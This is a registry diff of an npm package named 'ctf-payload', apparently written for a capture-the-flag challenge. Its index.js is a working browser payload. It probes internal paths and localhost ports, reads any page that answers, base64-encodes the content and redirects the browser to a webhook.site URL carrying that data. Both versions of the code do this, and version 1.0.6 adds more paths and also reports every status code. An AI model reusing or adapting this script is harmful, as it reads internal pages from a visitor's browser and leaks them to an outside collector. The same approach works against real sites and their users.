ctf-payload 1.0.4 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +24 -16
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,26 +1,34 @@
1
1
  (async()=>{
2
- const targets=[
3
- '/security-dashboard','/security_dashboard','/secure-dashboard',
4
- '/local-only','/local-dashboard','/local_only',
5
- '/dashboard/security','/admin/dashboard',
6
- '/security-board','/sec-board','/secboard',
7
- 'http://localhost:8256/',
8
- 'http://localhost:8257/',
9
- 'http://localhost:5000/',
10
- 'http://localhost:3000/',
11
- 'http://localhost:8080/',
12
- 'http://127.0.0.1:8256/',
13
- 'http://127.0.0.1:5000/'
2
+ const paths=[
3
+ '/security-dashboard','/security_dashboard',
4
+ '/local','/local-only','/local_only',
5
+ '/dashboard','/dashboard/local',
6
+ '/admin','/admin/local',
7
+ '/secure','/secure-dashboard',
8
+ '/view','/viewer','/report',
9
+ '/violations','/violation',
10
+ '/log','/logs','/audit',
11
+ '/panel','/control','/monitor',
12
+ '/status','/info','/debug',
13
+ '/secret','/hidden','/private',
14
+ '/internal','/internal-only',
15
+ '/sec','/sec-dashboard',
16
+ '/security','/security/dashboard',
17
+ '/security/view','/local/view',
18
+ '/dashboard/view','/admin/view'
14
19
  ];
15
- for(const p of targets){
20
+ const results=[];
21
+ for(const p of paths){
16
22
  try{
17
- const r=await fetch(p,{credentials:'include'});
23
+ const r=await fetch(p);
24
+ results.push(p+':'+r.status);
18
25
  if(r.ok){
19
26
  const t=await r.text();
20
27
  window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?p='+encodeURIComponent(p)+'&d='+btoa(unescape(encodeURIComponent(t)));
21
28
  return;
22
29
  }
23
- }catch(e){}
30
+ }catch(e){results.push(p+':err');}
24
31
  }
25
- window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?p=notfound2';
32
+ // Gửi toàn bộ status codes về
33
+ window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?results='+encodeURIComponent(results.join(','));
26
34
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ctf-payload",
3
- "version": "1.0.4",
3
+ "version": "1.0.6",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"